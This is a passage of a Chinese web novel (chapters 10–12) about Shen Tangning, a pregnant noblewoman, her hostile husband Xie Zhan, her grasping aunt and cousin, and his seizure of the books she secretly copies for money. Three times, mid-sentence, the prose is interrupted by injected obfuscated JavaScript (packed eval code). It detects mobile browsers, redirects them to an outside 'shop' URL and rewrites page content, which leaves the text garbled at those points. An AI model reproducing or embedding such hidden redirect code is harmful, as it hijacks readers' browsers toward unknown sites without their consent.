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书案正靠着轩窗,窗下圈椅上四仰八叉地扔了件袍子,看样子是谢瞻的,只是袖口处磨损严重,像是有个洞。 “……安成哥,世子爷房里就没有丫鬟么,我瞧着那两个廊下里侍花的姐姐长得怪好看的。” 屋门外,揽月甜甜地和安成套近乎。 “花是夫人送过来的,听说是叫什么‘绿萼美人’,世子爷不爱养花……唔,那两人原是看守厢房的丫头……” 两人的声音断断续续,沈棠宁坐在背风处,从荷包里取出针线,垂着眼帘,将袖口的破损处仔细缝补。 等了好一会儿也没等到谢瞻,沈棠宁松了口气,借口不舒服赶紧离开了静思院。 揽月频频回望,还一副恋恋不舍的样子,边走边忍不住埋怨她道:“姑娘怎么早不晕晚不晕,今日世子休沐,再多等会儿他就该回来了,姑娘你真是不争气!被侯夫人知道了咱们……” 锦书猛地拉了下揽月。 说话间,一抬头看见对面大步来了两个男人。 谢瞻一身玄衣常服,龙行虎步,身后跟着个侍卫,朝着沈棠宁的方向走来。 谢瞻身后的侍卫长忠“咦”了一声,“那不是世子夫人?” 看沈棠宁出来的方向,正是静思院。 谢瞻双目掠过沈棠宁雪白的脸,以及她身侧丫鬟手里的食盒上,冷嗤一声,了然。 不长记性,明明怕他怕的要死还上赶着来讨好他。 很快,他便走到了沈棠宁面前。 10. 第 10 章 看到谢瞻的那一刻,沈棠宁便知大事不妙。 谢瞻不喜她对他献殷勤,其实若非郭氏强迫,她亦不愿与谢瞻有丝毫牵连。 好在,今日这趟她有说辞。 谢瞻走近时,沈棠宁屏住呼吸,垂了眸。 气氛有些凝滞。 “我来向世子赔罪。” 她声音有些发颤,说到此处,顿了下,见他似乎没有打断她的意思,方微松了口气,继续说道:“上次我与四姑娘有些误会,是我有错在先,过后我已向她赔罪,那日世子来时,我一时情急便与你起了冲撞,还请世子不要放在心上。” 她的声音细细柔柔,莺莺声软,宛如廊下一缕穿堂微风,说罢,屈膝向谢瞻施了一礼。 谢瞻掀起眼皮,瞥了眼她被披风挡得严严实实的手臂。 那日他把沈棠宁抱到床上时,她的手腕已被他握得青紫一片,雪白的肌肤上留下数道斑驳的痕迹,十分显眼。 谢瞻没有说话,从她身侧走了过去。 沈棠宁终于彻底松气,随后快步离开。 …… 谢瞻进了屋,屋里有些闷热,飘着缕似混合着药香的淡淡幽香。 安成一面推窗透气,一面和主子说话道:“刚世子夫人过来了,提着个大食盒,给世子做了不少吃食,我见外面风雪大,便请她进屋里略坐了会儿。可惜您回来晚了,那些吃食都凉透了,又被世子夫人带走了……” 谢瞻拿起椅背上的衣服,意外发现袖口的破损处已经被人补上,背面针脚细密结实。 “你再说一遍,你让她进屋坐过?”他缓缓道。 安成愣了一下,以为主子不高兴他把沈棠宁放进来了,忙解释道:“我是见外面风雪大,世子夫人又怀着身子,冻得发抖,这才请她进来坐了会儿。” “她应该没乱动世子的东西吧?” 安成四下检查,发现除了窗户被虚掩上,其它的东西都没挪动过。 谢瞻换上衣服。 他又闻到了那股香气,说不出来是什么香,极淡极清的,混合着药香,并不浓郁,却能叫人一闻到这味道便想起她。 他皱了下眉,这个女人,弱鸡似的一吓就晕,在她身上出气也叫人出不痛快。 安成打量着主子的脸色,谢瞻脸上虽没什么表情,但看起来也不大像生气的模样。 安成上前帮忙,认出谢瞻身上穿的这件袍子袖口磨破了,他本来准备送到绣房叫人缝补一下来着,后来沈棠宁过来便忘了。 “世子,这衣服不是袖口破了吗,您怎么还穿?”凑近一看,谁知袖口平整,丝毫没有破损的痕迹。 咦,难道是他记错了? 安成挠了挠头。 谢瞻冷冷瞟他一眼,自己伸手取了腰封。 安成尚一无所知,帮主子扣上革带,忽又想起一事道:“对了,世子夫人的丫鬟还找我打听世子的喜好,不过小人守口如瓶,不该吐露的一个字都没说!” 世子夫人说话还怪温柔好听的,听得他骨头都要酥了一半,长得也漂亮极了,走一步比那画上的灯人儿还要出彩,简直就是仙子下凡。 不过这话他也就敢在心里想想罢了。 安成是从八九岁起就一直跟着谢瞻的,谢瞻的样貌和出身放在京都里,恐怕他认第二便只有凤子皇孙敢认第一了,人家从小到大什么样的美人没见过? 哪怕是娇生惯养的永宜县主到了自家主子面前,还不得做低伏小,百般殷勤的。 从来只有女子讨好他,不见得他就能多看人家几眼。 安成摇头唏嘘一回,继续干活去了。 - 从静思院回来后,沈棠宁便佯装不舒服,每回揽月催促她,她便求揽月帮她去送吃食汤水。 揽月也是着急,心想她家姑娘娇娇弱弱的,每回见那人一次都得吓病,万一把孩子给吓没了,只好硬着头皮自己去送。 不过说实话,自从那日谢瞻闯进寻春小榭,众目睽睽之下用刀劈碎了屋里的宽厚的那张大方桌后,揽月对谢瞻的恐惧不比沈棠宁好到哪里去。 这泼天的富贵,也不是一般人能消受了的。 沈棠宁猜测谢瞻大概不会理会揽月,揽月吃过几回闭门羹应该就会想明白了。 她唯一担心的是揽月太过主动触怒谢瞻,末了谢瞻又怪罪到她身上。 届时郭氏讨好不成,反吃挂落,吃力不讨好。 多想无益,转眼进了年底腊月,从昨天夜间就搓绵扯絮地飘起了雪花,第二日一早大雪纷飞,滴水成冰,天寒地冻。 沈棠宁素来苦夏畏冬,镇国公府里烧着地龙,王氏又把最好的补品吃食一应给她,若平日里无人叨扰,日子倒过得比在沈家时舒心。 腊月初三是谢家三房谢三老爷大寿,凡跟谢家沾亲带故的亲戚们都携礼登门来庆贺。 四房大门首,此刻门庭若市,香尘不断,一辆标有平宁侯府徽记的马车缓缓停在了人群中,少顷,从马车上下来一对母女。 另一侧,平宁侯沈弘谦和儿子沈宵也下了马。 郭氏走到父子面前低声嘱咐几句,一行人才走到门口,迎客的管事听说是长房世子夫人的叔父一家来了,不由面露鄙夷之色,傲慢地登记了贽礼放行。 沈弘谦和沈宵去了前院,郭氏和女儿沈芳容则被延引到后院的女眷处。 郭氏没见到侄女,猜测沈棠宁大着肚子不方便出来,等宴席差不多结束的时候,才含笑告辞离开,径直来到大房,挺直腰杆,求见世子夫人。 寻春小榭。 郭氏带了不少珍宝首饰,摊开放在案几上。 沈芳容正与郭氏抱怨谢府下人势利,踩低捧高,连个门房都敢对她使脸色。 还有谢家的那群小姐们,见着她便但笑不语,好似在憋什么坏似的,沈芳容郁闷死了。 郭氏没空搭理女儿,无微不至地关心着沈棠宁,“团姐儿,你这肚子四个月了吧,胎位稳了,脸色也好看,倒是不显怀。” 其实显怀了,夜里沈棠宁脱了衣服仔细和锦书韶音观察过,小腹处有微微的隆起,只不过她清瘦,显怀也不怎么能看出来。 沈芳容见郭氏光顾着对沈棠宁嘘寒问暖,反倒将她这个亲女儿抛之脑后,心里怄气,领着丫鬟不打一声招呼地出门去了。 - 却说人家四房压根没请平宁侯府,不过是出于礼数叫这一家人进来了,自然瞧不上沈弘谦一家,但郭氏与沈弘谦今日可是有备而来的。 沈弘谦与沈宵席间没见着姑爷谢瞻,心下失望,看着时候差不多了,遵照妻子的嘱咐从席上退下来。 申正,谢瞻从五军营散值,回家时门房告诉他平宁侯与平宁侯世子父子俩携礼来拜谒,两人已在花厅恭候许久。 谢瞻想到父子两人那副同样小心谄媚的笑脸,眼底闪过一抹厌恶,冷冷道:“不见!” 沈宵出门解手,回来碰见一人背影极像谢瞻,大喜,忙追上去叫道:“妹夫,妹夫且等等,我是沈宵,妹夫!” 人都凑到他眼跟前儿了,谢瞻竟像没看见似的,眼皮子都不夹他一下,头也不回地径直走了。 沈宵目瞪口呆。 安成跟过来脸不红心不跳地道:“世子不太舒服,今日不见客了,侯爷和沈世子还是请回吧。” 什么不舒服,他就是不想和他打交道罢了! 沈宵脸红一阵白一阵,暗恨谢瞻傲慢无礼,连装都不肯装,只留下了礼物,垂头丧气地和父亲沈弘谦铩羽而归。 谢瞻换好衣服,安成进来回道:“爷,平宁侯与平宁侯世子已离开了。” 谢瞻不爱聚会游宴,今日他三叔过生日,他若来众人稀奇不已,他若没来大家亦是见怪不怪。 谢瞻去了如意馆看望王氏,途径过沉香园,沈芳容正在园子里百无聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409418|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赖地逛着。 沈芳容的丫鬟远远瞧见一个高大俊美的年轻郎君走过,忙激动地指着谢瞻道:“我的佛,我的佛!姑娘你看那是谁,是谢郎!” 沈芳容早看直了眼,喃喃道:“谢郎……他这是去做什么?” 揽月负责陪着沈芳容逛园子,见这主仆两人看着谢瞻都跟发了痴似的,心里就不痛快,淡淡道:“乱叫什么谢郎,那是我们世子爷,世子他这会儿刚下衙,应当是去如意馆给夫人请安了。” “那是不是等会儿还会从这儿再经过回去?”丫鬟忙拉着揽月好姐姐长好姐姐短地央求。 谢瞻是京都女子们的梦中情郎,每年他一身玄袍银甲,英姿勃发,打马过街时都要引得无数小姐娘子们尖叫连连,没有女子会例外。 正可谓是骑马倚斜桥,满楼红袖招。 沈芳容也有过和小姐妹们去城门口蹲守谢瞻班师进城的经历,那次她早晨卯时去的都去晚了,城门十里附近所有的高台楼阁俱提前一个月之久便被抢售一空。 街边人流如堵,拥挤不堪,谢瞻进城时她被挤在人群的最后边,连谢瞻的脸都没瞧到。 沈棠宁就从来不会去凑这种热闹。 她便是足不出户,坐在家里,都有无数男人跑来给她献殷勤,向她求亲。 明明同为姐妹,为什么她就处处高她一等,就连她使劲了手段,都不过是为她缝做嫁衣裳,竟令她嫁入了比萧家还要显赫的镇国公府! 沈芳容看着谢瞻英俊挺拔的背影,当真要咬碎一口银牙。 直过了好一会儿,她面色才恢复平静,拔下发上一只最华美的金步摇塞到揽月手中,转眼就换上了一副笑脸。 “揽月姐姐,多亏你这段时日对我姐姐的照顾,这点小小的心意,不成敬意。” 揽月原本不过敷衍沈芳容,见到金钗眼前一亮,态度就热络了不少。 三人絮絮说着话儿,约莫过了有两刻钟的功夫,沈芳容瞥了眼园子阑干外,忽地扭头就掉起了眼泪。 揽月和丫鬟都问沈芳容有什么心事。 沈芳容哽咽道:“我就是心里难受!你们也都看见了,我娘只一径地偏疼姐姐,拉着姐姐的手就团姐儿长团姐儿短,压根没把我这个亲生的女儿放在眼里!” “自从大伯去世之后,爹娘就一心为了姐姐计较,姐姐嫁进谢家,我娘高兴地几天晚上合不了眼,和爹说总算能给大伯一个交代了。” “这些年来家里有什么好的东西爹娘全紧了姐姐,我这个亲生女儿反而什么都分不着!家里本就捉襟见肘,姐姐还要娘借着谢家三老爷大寿的名头进府给她送珍宝首饰,说是怕在镇国公府没有银子打赏被人欺负,又怕穿戴不庄重讨不得谢世子的欢心,我娘二话不说就开库房取了我的嫁妆。” “那可是我的嫁妆,我心里怎么不难受!她便是我的亲姐姐,也不能平白抢妹妹的嫁妆啊!” 沈芳容一副肝肠寸断的模样。 她这话半真半假,郭氏偏心沈棠宁是不假,为的却是将侄女卖个好价钱,心里真正疼的自然还是沈芳容这个亲女儿。 若不待价而沽,沈家的其他人又如何从中获益。 揽月惊讶道:“没想到世子夫人面上看着不声不响的,背地里竟然是这样的人!” 沈芳容的丫鬟自然是向着自己的主子,冷哼一声道:“哪里有姑娘家不爱美,女为悦己者容,大姑奶奶能嫁给谢世子这般芝兰玉树的人物,恐怕早就把家里的兄弟姊妹们给忘了,哪还去管旁人的死活!” 三人一递一声毫不掩饰地高声议论着长短,声音轻而易举地传进了路过的谢瞻耳中。 安成提醒道:“那好像是世子夫人的堂妹和丫鬟们,听说平宁侯夫人今日来看望世子夫人。” 谢瞻眼前便浮现出沈棠宁那张秀美白皙的面庞。 不错,她每每见他时,似乎的确喜欢打扮地格外娇艳美丽。 11. 第 11 章 平宁侯府先前与谢家无旧,三房都没有给平宁侯府下帖子,沈弘谦与郭氏这样贸然地上门祝寿贺喜,其实是一件很失礼很令人鄙夷的事情。 而说起沈弘谦夫妇如此厚颜巴结的原因,这其中还有个缘故。 沈家平宁侯的爵位,乃是沈弘彰兄弟俩的父亲老太爷在世时打下来的,爵位传三代则止。 传到沈棠宁的父亲沈弘彰这一代,沈弘彰唯一能承袭爵位的长子沈连州丢失了,沈弘谦遂兄终弟及,即若是沈宵在朝堂上没什么建树的话,平宁侯的爵位便会被革除。 所以沈弘谦夫妻俩才会拼命地向上爬,沈弘谦在朝中钻营,郭氏则四处为沈棠宁物色世家贵族出色的男子做夫婿。 忠毅侯萧砚的大姐萧氏三年前被聘为太子良娣,颇受太子宠爱,去年刚为太子生下了他的第一个子嗣,攀上萧家,意味着沈宵的未来有了希望。 但是等到眼前出现一个更好的选择,镇国公府时,郭氏毫不犹豫地逼沈棠宁弃萧家选择谢家。 她心想,萧氏再尊贵不过区区太子良娣,日后她的孩子能否继位,甚至能不能活到太子登基都不一定。 谢家却是屹立百年不倒的勋贵世家,郭氏便是拼上一张老脸不要,也要和谢家攀这门亲戚。 沈棠宁没想到郭氏会借着三房的名头混进来。 她责备郭氏这样不请自来有失颜面,王氏不会喜欢,郭氏却满脸的不在乎,“我来看自己的亲侄女有什么丢脸的?” 沈棠宁与郭氏话不投机半句多,聊不多时便推辞自己不舒服,郭氏离开前还神神秘秘地塞给沈棠宁一匣香,嘱咐她挑谢瞻来的时候把香熏上,说谢瞻一定会喜欢。 沈棠宁才不会用,让锦书把香匣收了起来。 她有孕后不知怎么脚心总爱发热,屋里又烧着地龙,尤其是想到郭氏说的那些话,热得她心里也烦躁,索性脱了鞋子在屋里走来走去。 就去净房洗了把脸的功夫,谢瞻不请自来。 上一回谢瞻在寻春小榭大发雷霆,院里的丫鬟婆子们都怕他怕的要死,生怕这位阎王爷闹出什么人命关天的事情,路上见着他请安都是畏畏缩缩悄没声儿的。 谢瞻一路进了屋里。 一掀帘屋里扑面而来的蒸腾热气,谢瞻皱了眉。 韶音想去提醒沈棠宁谢瞻来了,敲敲净房的门却没有回应,担心谢瞻是来找茬的,赶紧去倒茶,上茶时手颤巍巍的。 谢瞻自己寻地方坐下,四下打量,果然发现梳妆台上摆着数只漆木的妆匣,两只金缠丝镶玉玛瑙镯随意地摊在镜台前,看样子是还没收起来。 净房的小门“嘎吱”一声忽地开了,沈棠宁穿着件单薄的白银条纱衫,赤足从里面快步奔出来。她乌发蓬乱,几缕发丝和裸露在外的肌肤上犹沾着几滴水珠,手里提着一双红底镶珠绣花鞋,实在渴极,走到桌前挟起茶盏便将一大盏凉茶下肚。 锦书在后面追她,着急地喊:“姑娘你没穿鞋,仔细着些别摔了!” 锦书的声音戛然而止。 沈棠宁喝完茶,才察觉到旁人似乎还坐了个人。 她放下茶盏,疑惑地偏头,“啊”地惊呼一声,瞪大杏眼倒退数步。 她的唇瓣微微张开,像吸足了水般饱满湿润,晶莹的水珠随着她的动作,沿着她的雪颈向下滚去。 谢瞻的视线不由自主下滑,落在她一对赤裸的小脚上。 雪白,纤巧,脚趾修剪得圆润粉嫩,像新剥的莲子一样白净。 沈棠宁察觉到他的目光,又想到自己刚刚那毫无形象地一通牛饮,脸庞和脚底更像生了火一般腾得烧了起来,顿时窘迫地缩起了脚趾,无处安放。 想穿上鞋子,谢瞻又坐在他的面前。 但是一动,脚尖和脚背便露了出来。 进不是,退也不是。 幸好锦书及时赶了过来,挡在沈棠宁面前,沈棠宁忙背过身,趿上鞋子,提上脚跟,主仆两人手忙脚乱。 谢瞻面无表情地移开视线,对着门帘喝茶。 韶音端着热茶进来,看见谢瞻手里提的茶壶还是下午的冷茶,心猛地一跳,冷汗直冒。 那厢沈棠宁穿完鞋,深吸口气,转过身来。 “世子过来,可是有什么事?” “这是你沈家,没事我便不能来?”谢瞻刺了她一句。 沈棠宁一怔,“我不是那个意思。” 韶音上来倒了热茶,热气氤氲中,沈棠宁坐在了谢瞻的对侧。 谢瞻漫不经心地抬眼。 沈棠宁垂着脸,乌黑如云的发上斜簪着一只飞蝶点翠金步摇,粉面桃腮,杏眼丹唇,花枝招展,看得出来果真是很用心地打扮了一番。 她应该不知道他今晚会来,那便是每日都仔细打扮,甚至不惜抢妹妹的嫁妆,就为了等他不知何时过来? 谢瞻不懂这些女子对他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409419|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的痴狂之心。 他不说话,气氛安静到近乎窒息。 沈棠宁口干舌燥,还想再喝口茶,突然想到刚刚她着急忙慌地跑出来,用的是谁的茶盏? 她悄悄向谢瞻的一侧瞅去,谢瞻正把茶盏握在手里转着把玩,那茶盏的边缘处,非常不巧有一抹淡淡的红痕。 谢瞻发现了沈棠宁在偷看他,四目相对,沈棠宁便很快收回目光。 她从韶音手里接过茶壶,重新拿了个茶杯替他斟茶,把他面前的茶盏换了。 谢瞻看着她的动作,觉得她还算有眼力见儿,理所当然喝了她倒的热茶。 “孩子怎么样。” 瞥了眼她的腹,她那腰肢细的跟条竹竿似的,看着实在不像怀孕四个月的样子。 “挺好的,这几日胃口也很好。”沈棠宁回道。 一点都不好,但凡饭菜里有一点荤腥她都要恶心呕吐,吐完了肚中没有东西,又烧心得难受。 谢瞻皱起了眉,胃口很好,怎么还是这样瘦? “大夫怎么说?”他又问。 “大夫……大夫也说我挺好的……” 沈棠宁越说,被谢瞻看得头皮发麻。 她哪里想过谢瞻会问她这些,一时只从口中干巴巴吐出几句话,在他目光的逼视下,不得已说了实话道:“就……有些吃不下东西,曹大夫说过段时间就好了的。” “你们女子为了爱美找的借口,你既有了身孕,当务之急应以孩子为重,何况你瘦成这样。” 谢瞻说着,上下扫了沈棠宁几眼,一脸嫌弃地道:“瘦得跟只瘦猴似的,你若为一己之私害了腹中的孩子,你那一家子辛苦把你塞进谢家的功劳岂不是白白浪费了!” 他话中不无讥讽。 “……” 她怎么就像猴子了! 沈棠宁好半响才道:“我的确是吃不下……” “吃不下,你倒是有心情整日涂脂抹粉!” “……” 沈棠宁咬住唇,有些委屈。她的脸上分明铅粉未沾,不过今日郭氏造访,唇色苍白,才薄涂了层唇脂而已。 难道见客不该拾掇下自己,蓬头垢面像什么样子? 只是,谢瞻不喜郭氏,再者,和他这种人也没法解释。 她终究没再说什么,只把脸偏了过去。 谢瞻见她微垂粉颈,默不作声,愈发断定自己是戳中了她的心事。 12. 第 12 章 谢瞻见她微垂粉颈,默不作声,愈发断定自己是戳中了她的心事。 沈棠宁这么爱臭美矫情的女子,连孕期都严格控制自己的饮食,他还是第一次见。 他觉得若是姑息此举,长此以往她必定变本加厉,作为孩子的父亲,他有权训斥劝诫她,为免她日后继续犯错。 是以,今夜他纡尊降贵地坐在沈棠宁的旁边,和她多说了几句。 末了,再问她:“都记住了没有?” “记住了。” 谢瞻很满意沈棠宁的乖巧听话,准备起身离开。 沈棠宁见他总算起身,心下不由松了口气。 谢瞻路过她的书案旁时,忽然停下。 沈棠宁顺着他的目光看过去。 书案上摆着几本蓝皮的新书,其中一本正面朝上,用秀美的簪花小篆写着《兵机类纂》四个大字,很是显眼。 沈棠宁脸色一变。 谢瞻正待伸手去拿,沈棠宁却抢先他一步将两本书都挟了过来,往身后一背。 谢瞻凤眼微眯,转身看向她。 沈棠宁退后两步,说道:“都是些杂书,没什么好看的,世子应当不感兴趣。” 她神色有些慌乱和警惕,也不敢与他对视。 谢瞻只把手伸到她面前,淡淡地道:“拿来。” “真的只是些杂书。”沈棠宁坚持。 谢瞻的身影向她罩过来。 谢瞻身高七尺,沈棠宁只到他的胸口,他居高临下地看着她,眼神淡漠而不屑,仿佛在看一只垂死挣扎的兔子。 沈棠宁脖子酸直,呼吸也逐渐变得困难,手指仍旧死死地抓住书脊不放。 “拿来!” 这一次,谢瞻的态度陡然变得强硬起来,还透出几分不耐。 肩膀忽地被人攥住,沈棠宁吃痛,忍不住嘤咛出声。谢瞻捉住她的肩,俯下身,去夺她身后的那两本书。 掌下女子的肩头圆润纤瘦,她似是吃了一惊,还想要再挣扎,他轻轻一按便将她牢牢制住。她发间清幽的芳香刹那间掠过他的鼻端,耳后与颈间的肌肤细腻如雪。 谢瞻只扫了一眼,便迅速地起身,避开了去。翻开从沈棠宁手里夺回的书,越翻看,眉头皱得越深。 合上书,他指着外面,“关上门,出去,不许人进来。” 门外的锦书和韶音都犹豫着 沈棠宁对两人说道:“没事,你们先下去吧,我与世子有些话要说。” 锦书和韶音对视一眼,便只好慢慢退了下去,眼里遮不住的担忧。 “这两本书你哪里来的,说实话!” 门一关,谢瞻十分严厉地喝问她道。 沈棠宁的心砰砰直跳,回答他的问题:“家父留下的书。” 说罢,她镇定地望向谢瞻,“世子,家父乃武将,家里有几本兵书,应该没有触犯律法吧?我是思念父亲,所以离家时,才从家中拿走了这几本书。” 当然没有触犯律法,可沈棠宁不过一深闺柔弱女子,案头摆兵书太过反常。 沈棠宁觉得谢瞻现在看她的眼神,很像在审视她是不是细作。 她垂下眼,任由谢瞻打量。 “你以为我是你以前的那些男人,被你随便打发两句就能蒙混过关?” 谢瞻把书摊开在沈棠宁面前,“书页崭新,墨迹清楚,根本不是陈年旧书,便是你那父亲亲手写的至今也有七八年了,你又如何解释?” 谢瞻把书扔到沈棠宁的身上,沈棠宁被书页拍得脸疼,闭上眼,有些吃力地接住。 “这些书……是,是我的手抄本,我担心毁坏父亲生前爱物,才会如此,并非有意欺骗你。” “所以你就把他所有的书都抄了一遍?” 谢瞻转身,一脚将沈棠宁藏在书案底下的一摞书踢散。 覆盖在书上的纱布掉了,里面除了兵书便是四书五经,大部分是已经誊写好的,封皮书页崭新,内容一模一样,有些则是旧书原本,书页泛黄老旧。 沈棠宁呆住。 这些书藏在书案底下,她只有在屋里没人,以及有锦书和韶音的时候才会打开抄书,谢瞻他才来了几回,怎么会知道她把书藏在了这里! 谢瞻刚进屋的时候就打量过一遍她的房间,她书案上摆着兵书,书案底下又藏了这么一大摞用厚纱布盖住的书,很难不吸引他的注意。 而这些书的内容大部分又一模一样,沈棠宁一个深闺中的弱女子,她为何要誊写这么多一模一样的书? 契国的枢密院设有专属的谍报机构,是以京都城中不乏有一些契人安插的细作。 前段时间顺天府就抓获了一个东契人的细作。那细作也是一名弱女子,周国人,却从小在东契长大,长大后被指派到京都城,谎称自己是某某人家失散多年的女儿,被父母嫁给一名高官之子,颇受夫婿宠爱。 家中的小妾为了夫主的宠爱与她争风吃醋,因她不知大部分周人小时候都会唱的睡前小调儿,将她这位主母写信偷偷举报到顺天府。 顺天府尹和她那夫君恰巧有旧,没放心上,只将此事告知了她的夫君。 那男子回家后从此细心观察他的妻子,果然越看越觉得他这妻子古怪,终于有一次在她的匣子里搜查到了与契人私通的信件,男子大吃一惊,赶紧大义灭亲将她交到了顺天府。 那女子的下场后来可想而知,男子的父亲仅仅被降职处罚。 毕竟在本朝,私通契人可是要诛灭九族的大罪,谢瞻厉声说道:“沈氏,现在跟我说实话,或许我还会对你从轻处置!倘若你胆敢有任何隐瞒,被我知道你私下做些见不得人的勾当,就算你腹中的孩子是我的种,我也断然不会包庇你!” 两人发生肌肤之亲的那一日,事后谢瞻也曾怀疑沈棠宁是故意算计他,因他平日里也喝酒,却从未有一次如那日般失控。 后来听说她已有婚约,私下去查她一无所获,他便再未提过此事。 算计他的或许另有其人,无非是朝堂上那几个素来与他不合的政敌,沈棠宁只是刚巧撞上了而已。 但若是沈棠宁胆敢通敌叛国……他这辈子最恨契人,恨不得食其肉,啖其血!就算她肚子里有他的孩子,一尸两命,他也一样杀了以泄心头之恨! 谢瞻看她的眼神像是要吃人一样,沈棠宁白着脸道:“谢世子,我不是有意瞒你的,你先别生气,我说实话。” 她顿了一下。 “兵书的确是我爹爹的,书也是我抄的,我抄书是……是为了卖钱,没有别的原因。” “卖什么?” 她越说声音越低,谢瞻走近一步,这一次听清了。 “卖钱,因为我,缺钱。” 终于说出了那句话。头顶上像是压了千斤重般的石头,每一个字都压得沈棠宁抬不起来头。 她竭力克制着才使自己看起来不那么狼狈,平静地道:“卖书可以赚钱,我多抄一本,便能得三两银子的钱,世子若是不信,可以去查,我若有任何隐瞒,随世子你如何处置。” 沈棠宁从小练习琴棋书画,尤擅丹青和小楷,她的字娟秀漂亮,书生们都很喜欢买她誊写的书,寄卖到书肆一本能得三四两银子。 这三四两银子能给温氏换一副更好的药方吃,让温氏的病好得更快,能在冬夜的时候屋里也能用上银丝炭,不至于一到晚上母女两人便被冻得瑟瑟发抖,只能缩在被窝里相互抱着取暖。 在世家清流的眼中,钱是阿堵物,因他们根本就不缺钱,不会明白缺钱的痛苦。 让一个大家闺秀告诉别人,她抄书是为了换钱,告诉他自己的日子过得有多么窘迫,为了换得几两银子的蝇头小利便放下身段出卖双手。 尤其眼前的这个一直以来都瞧不起她的男人。 沈棠宁有自己的自尊心,她说不出口。 叔母郭氏待她好,是表面的好,是外人一眼就能看出来的好,她身上穿着华贵的衣服,戴着精美的首饰,回到家中却要尽力节衣缩食,每日为了生存窘迫不堪,因为足量上好的炭火都被她拿着分给了自己的儿女。 谢瞻面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409420|141282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色冷峻,冷冷地看着沈棠宁。 沈家的情况他是知道的,爵位三代则止,沈弘谦本人又没什么出息,喜欢巴结权贵,家里没钱,还得供养这个开销甚大的侄女。 而眼前的这个女子,为了几件漂亮的衣服首饰,不光压榨自己妹妹的嫁妆,竟还抛头露面抄书换钱。 简直贪慕虚荣到令人匪夷所思。 是了,沈家小门小户,她为了嫁进谢家甚至不惜自毁清誉,无所不用其极,这样的女子还有什么羞耻心可言? “贪慕虚荣。”他口中慢慢地吐出四个字。 沈棠宁怔怔地抬起头,谢瞻眼神里透出来的轻蔑和鄙夷简直如刀刃一般刺痛着她的心。 沈棠宁脸颊滚烫,身体却如坠冰窟。 她感觉自己好像没有穿衣服,在谢瞻面前无处遁形。 他怎么可以,又用那种眼神来看她…… 丢下那四个字后,谢瞻便让安成进来,把她所有的兵书和手抄书都抱了出去。 …… “每回他过来,准没好事,他一百年也不要再过来才好!” 谢瞻离开后,锦书和韶音才从外面急忙进来,两人扶着沈棠宁坐下,韶音啐道。 锦书观察着她的脸色,担心地说:“姑娘,你脸色这么差,需不需要我去把曹大夫请过来?” 曹大夫是镇国公府的府医。 “我没事,”沈棠宁拉住锦书的手,勉强笑了笑,“没事……就是有些累,你们把我扶到床上吧。” …… 夜凉如水。 安成把书搬到谢瞻的书房,询问他这些书该如何处置。 谢瞻捡起一本书打开。 “三军之众,可使必受敌而无败者,奇正是也……” 泛黄的纸张上,女子的字体柔美秀润,古朴舒展,看得出来很是下过一番苦功夫雕琢。 书也都是好书,有些甚至在市面上都已经绝版,遍寻不到。 可惜字不如人。 谢瞻把书扔了回去,兴致索然。 “收起来吧。” - 沈棠宁从三年前开始抄书卖,闲快的时候一个月能抄八.九本,谢瞻没收了沈棠宁的书,沈棠宁便只能和锦书韶音做些香囊手帕卖了。 谢家每月给她三十两银子的月例,加上王氏和诸位婶婶赏给她的首饰礼物,刨除不好变卖了的,粗略算了算共计两三百两,这些银子估摸着只能在京都外围卖座很小的一进宅子,母女两人住是够了。 至于父亲离世前给她留下的嫁妆,郭氏陪嫁了三百两,本朝律法规定,陪嫁是出嫁女的奁产,和离后亦记在出嫁女的账目上,但郭氏的陪嫁大多是铺子田庄,契书都在她自己手里攥着。 想要靠着孤儿寡母从郭氏手里要回这些奁产,难于登天。 沈棠宁不抱希望。 郭氏不会允许她与谢瞻和离,哪怕把她送到谢家的祖庙里做姑子,为今之计她只能先寄希望于温氏能先搬出沈家,日后自己再尽快做脱身的打算。 今日天气晴朗,无一丝云翳。 沈棠宁坐在廊下晒着太阳,袖中捧着暖炉,对着日光绣小绷。 她身上穿着厚厚的粉缎细绸夹袄,大冬天这样厚的衣服依旧可以看出姣好的身段,半点不像个有了身孕的妇人。 一缕秀发落在她的耳侧,她伸手轻轻地挽到耳后,琼鼻挺翘,雪肤朱唇,长长的睫毛宛如蝴蝶羽翼般细密浓长。 她眉眼低垂,神情专注,侧颜秀美清丽地就像一卷仕女图。 谢嘉妤喃喃道:“她长得可真好看。” 蝶香痴痴地附和,“是啊是啊,就跟那灯画上的人似的!” 主仆两人站在寻春小榭的院门外看着沈棠宁呆立了半响,这时忽有一阵寒风吹来,两人忍不住瑟瑟打了几个寒战,口中叫冷不迭。 